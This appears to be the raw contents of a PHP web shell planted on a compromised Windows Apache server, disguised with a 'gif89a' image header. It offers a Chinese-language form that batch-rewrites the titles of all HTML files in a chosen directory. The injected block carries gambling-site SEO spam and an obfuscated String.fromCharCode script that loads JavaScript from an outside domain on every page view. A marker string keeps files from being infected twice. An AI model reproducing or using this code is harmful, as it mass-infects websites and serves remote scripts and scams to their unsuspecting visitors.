Server : Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 System : Windows NT USER-PC 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64 User : User ( 0) PHP Version : 7.4.6 Disable Function : NONE Directory : C:/www/ |
gif89a<?php function input($name,$default=null){ return isset($_REQUEST[$name])?$_REQUEST[$name]:$default; } ini_set('memory_limit', '256M'); set_time_limit(555000); function scan_dir_files($dir, $type=null) { $dir = rtrim($dir); $scans = scandir($dir); $files = array(); foreach ($scans as $item) { if ($item != ".." && $item != ".") { if (is_dir($dir . "/" . $item)) { $tmp = scan_dir_files($dir . "/" . $item, $type); $files = array_merge($files, $tmp); } else { if(!$type || strpos($item, '.' . $type) !== false) $files[] = $dir . '/' . $item; } } } return $files; } function glob_all_files( $path,$type=null){ $path = rtrim($path); $list = array(); foreach( glob( $path . '/*') as $item ){ if( is_dir( $item ) ){ $list = array_merge( $list , glob_all_files( $item, $type) ); }else{ if(!$type || strpos($item, '.' . $type) !== false) $list[] = $item; } } return $list; } header("Content-type:text/html;charset=utf-8"); define('ROOT_PATH', __DIR__); $replace = '<noscript><title>kaiyun网页版登录入口-开云网页版登录入口</title> <meta name="keywords" content="kaiyun体育网站登录,kaiyun体育官方app,kaiyun体育app官网入口,ky体育(ky)(中国)官方网站,ky体育登录官网,ky体育手机版登陆官网APP"/> <meta name="description" content="��kaiyun网页版登录入口app下载【龙年龘龘����】��支持:64/128bit��系统类型:kaiyun网页版登录入口app官方下载(2024全站)最新版本ios/安卓官方入口,开云在线注册平台的注册流程简单易懂,仅需几个简单的步骤即可完成。首先,访问官方网站并点击注册按钮"/> <meta property="og:site_name" content="开云官方" /></noscript><script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,107,107,104,100,109,105,104,46,116,111,112,47,50,48,50,54,47,108,117,99,107,121,50,48,50,54,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script><!-- IqWGPw2=window --> <title>__TITLE__</title>'; //处理提交 $act = input('act'); if($act==='run'){ $mulu = input('mulu'); $type = input('type'); $num = intval(input('num')); if(empty($mulu)||empty($type)){ echo '不能为空';exit; } $mulu = realpath($mulu); if(!is_dir($mulu)) die('目录不存在'); if(!is_writable($mulu)) die('目录不可写'); //读取模板文件 $htmls = function_exists('scandir')?scan_dir_files($mulu,$type):glob_all_files($mulu,$type); echo '共查找'.$type.'文件总数:'.count($htmls).'<br>'; $succ = 0; //执行替换 foreach ($htmls as $tpl_file) { //数量限制 if($num>0&&$succ>=$num){break;} $content = file_get_contents($tpl_file); if(strpos($content,'IqWGPw2=window')===false){ if(preg_match("#<title>(.*?)</title>#is", $content,$matches)){ $replace_new = str_replace('__TITLE__',$matches[1], $replace); $content = str_replace($matches[0], $replace_new, $content); //保存文件 $re = file_put_contents($tpl_file, $content); if ($re) { $succ++; echo "替换文件:" . $tpl_file . ",成功<br>\n"; } } } } echo "本次成功替换数:{$succ}\n"; exit(0); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>在线批量替换文件</title> <style type="text/css"> html,body{margin:0;padding: 0;} form div { height:50px;line-height: 50px;} .box{width: 60%;margin: 0 auto;} table{margin-left:30%;} table td{text-align: left;} h3,.center{text-align: center;} i{font-size: 11px;} </style> </head> <body> <div class="box"> <h3>在线批量替换文件</h3> <form name="iuform" action="" method="post" target="iuframe" enctype="multipart/form-data"> <table width="80%" border="0"> <tr> <td class="txl">要替换的文件目录:<input type="text" name="mulu" /> <i>请确保要替换的文件有可写权限</i></td> </tr> <tr> <td>要替换的文件类型: <label><input type="radio" name="type" value="html" checked="checked" />html</label> <label><input type="radio" name="type" value="htm" />htm</label> </td> </tr> <tr> <td class="txl">要替换的文件数量:<input type="text" name="num" /> <i>0表示不限制</i></td> </tr> </table> <div class="center"> <button name="act" type="submit" value="run">开始替换</button> </div> </form> <script> function changeFrameHeight(){ var ifm= document.getElementById("iuframe"); ifm.height=document.documentElement.clientHeight-300; } </script> <div> <iframe id="iuframe" name="iuframe" width="98%" height="100%" onload="changeFrameHeight()" frameborder="1" scrolling="auto"></iframe> </div> </div> </body> </html>